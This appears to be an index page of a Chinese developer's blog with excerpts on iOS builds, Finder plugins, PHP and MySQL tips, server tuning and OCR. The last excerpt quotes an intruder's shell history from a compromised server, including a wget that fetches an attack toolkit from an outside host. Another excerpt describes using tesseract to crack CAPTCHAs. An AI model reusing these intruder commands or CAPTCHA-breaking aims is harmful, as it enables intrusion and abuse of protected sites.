xcode4.5下编译出包含armv6架构的静态库

升级到Xcode4.5之后,新增了iPhone5的armv7s支持,但是去除了armv6的支持,也就是说用XCode4.5无论如何配置项目都是无法编译出能在iPhone3G、iTouch2上面运行的程序或者库文件的,虽然说千寻影视已经不在打算支持这些古老的机型,而TCClick作为一个开源项目,还是需要提供支持的,下面就对TCClick项目中编译打包时所使用的方法进行介绍。

在TCClick项目代码根目录下,有一个名为lipo的脚本文件,该脚本文件就是用来执行编译打包的,执行这个脚本之后就可以在release目录下生成包含了armv6, armv7, armv7s以及i386四种CPU架构的库[......]

继续阅读

Posted in iOS | Tagged | 5 Comments

Open Terminal iTerm Here plugin for Finder

Yesterday, I did a Finder plugin named OpenInTextMate. The process that I create it is just copied the code and icon file of the former OpenInTextMate and recompiled. But this one, OpenTerminaliTermHere is totally new.

Download OpenTerminaliTermHere here! Installation is as simple as before, just dr[......]

继续阅读

Posted in 杂七杂八 | Tagged , | Leave a comment

OpenInTextMate finder plugin with TextMate2 in MacOSX 10.7

After upgraded MacOSX to 10.7 and TextMate2, I find that the former OpenInTextMate plugin of Finder doesn’t work at all. Life went so hard without this small tool that I tried again and again to find out how to make it work. And finally, I did, and it’s very very simple!

Download OpenInT[......]

继续阅读

Posted in 杂七杂八 | Tagged | Leave a comment

TCClick在SAE上的安装部署步骤

  1. 注册登录SAE账号,具体步骤就不做介绍了,SAE网址http://sae.sina.com.cn/
  2. 在我的应用界面中创建一个新的应用,提交之后会让你输入安全密码,输进去就OK了
    Tcclick sae create
  3. 回到了应用列表页面,在列表中找到刚刚新建好的应用,点击进到应用的管理页面,下面我们要初始化一些TCClick会用到的服务
  4. 初始化MYSQL,在应用的管理界面的左边菜单栏找到MySQL,点击进到MYSQL管理界面,点击初始化Mysql
    Tcclick sae mysql
  5. 给MYSQL建表和导入初始化数据,在MYSQL管理界面点击管理MYSQL,进入PHPMyAdmin界面
    Tcclick sae mysql2
    在PHPMyAdmin界面右边找到SQL的tab,然后在输入框中填入https:[......]

继续阅读

Posted in 杂七杂八 | Tagged , | Leave a comment

php获取IP地理位置信息,纯真数据库Sqlite版

闲来无事,整理了平时用到的一些代码,顺便在github上发布了自己第一个开源项目,项目很简单,使用不同的办法来从纯真IP数据库中获取IP地址所对应的地理位置信息,同时还可以把纯真数据库里面记录的乱七八糟的位置信息转变成对应的国内的省份信息,以方便进行统计

  • 通过PHP代码直接操作纯真数据库二进制文件来实现IP地理位置信息查找
  • 通过PHP扩展qqwry操作纯真数据库二进制文件来实现IP地理位置信息查找
  • 先把纯真数据库二进制文件转化成sqlite数据库,然后从sqlite数据库中查找IP所对应的地理位置信息

通过PHP操作纯真数据库的代码可以很容易从网上找到的,我这里的算法也是参照网上的代码实现[......]

继续阅读

Posted in PHP | Tagged , , | 4 Comments

zend studio 9.0.2 下载地址

随着PHP 5.4的正式发布,zend studio也发布了9.0.2版本。在zend官方网站上,我们可以很轻易的找到下载地址,但是有一个不方便的地方就是下载之前需要注册、登陆,很是麻烦。不过呢,经过注册登陆这些流程走到最后,我发现官方网站上面最终的下载地址是可以不登陆随意访问的,也就是可以不登陆直接通过这些地址直接下载文件:

Windows版不带JRE
http://downloads.zend.com/studio-eclipse/9.0.2/ZendStudio-without-JRE-9.0.2.msi
218 MB

Windows版不带JRE
http://download[......]

继续阅读

Posted in PHP | Tagged | Leave a comment

MYSQL列举某个数据库下面各个表的磁盘空间占用情况

列举所有数据库的磁盘空间占用情况

select TABLE_SCHEMA, concat(truncate(sum(data_length)/1024/1024,2),’ MB’) as data_size,
concat(truncate(sum(index_length)/1024/1024,2),’ MB’) as index_size
from information_schema.tables
group by TABLE_SCHEMA
order by data_length desc;

列举某个数据库下面各个表的磁盘空间占用情况

select TABLE_NAME, concat[......]

继续阅读

Posted in 杂七杂八 | Tagged | Leave a comment

kernel nf_conntrack: table full, dropping packet 解决办法

最近很长一段时间,千寻影视的服务器状况不佳,一到晚上高峰时间便访问经常出问题,症状表现为:

  • 不管调用哪个接口,服务器响应快的时候非常快,慢的时候又非常慢,即便是访问一个最简单的nginx的状态页(跟业务逻辑无关)都是如此
  • 查看nginx日志,可以发现超量的超时 upstream timed out (110: Connection timed out) while reading response header from upstream
  • xhprof对PHP的执行进行跟踪,又可以发现很多访问在PHP端执行了非常非常长的时间才返回,而且这些请求的时间都消耗在了PDO::__construc[......]

继续阅读

Posted in 杂七杂八 | Tagged , | Leave a comment

CentOS下编译安装tesseract-ocr

距之前一篇博文《使用gocr进行简单的验证码自动识别》到现在不知不觉就过去了近三个月了,最近重新折腾起验证码破解来了,不过这次,验证码要复杂些,gocr这玩意不够给力,单纯的数字识别准确率确实高,但是字母跟数字混杂的情况就完全应付不了了。所以这次,换了个高级点的,tesseract-ocr。

作为在最流行的免费linux发行版本来说,centos自带的yum真不给力啊,连tesseract-ocr都没有。

安装tesseract,首先安装一些依赖的库

wget http://www.leptonica.com/source/leptonica-1.68.tar.gz
tar xvf lepto[......]

继续阅读

Posted in 杂七杂八 | Tagged , , , | 2 Comments

一台新装服务器居然有幸第一天遭黑客光顾

最近千寻影视用户量增长比较快速,服务器压力接近极限,所以新购置了一台服务器,直接买来就拉到机房安装系统的,因为新装,所以就把root密码很简单的设置了root1234,奇迹就是奇迹,第二天居然就登陆不上去了,这么短的时间内就遭黑客光顾。

这黑客好像也没干什么坏事,现把他留下的痕迹贴在这里,欢迎有兴趣的朋友钻研:

.bash_history内容,他居然没有清掉,这位朋友上来第一件事情居然就是改密码

passwd
cd /usr/games
ls -a
wget www.darkkid.webs.com/arhive/skdet.tgz ; tar zxvf skdet.tgz ; cd skd[......]

继续阅读

Posted in 杂七杂八 | Tagged , | Leave a comment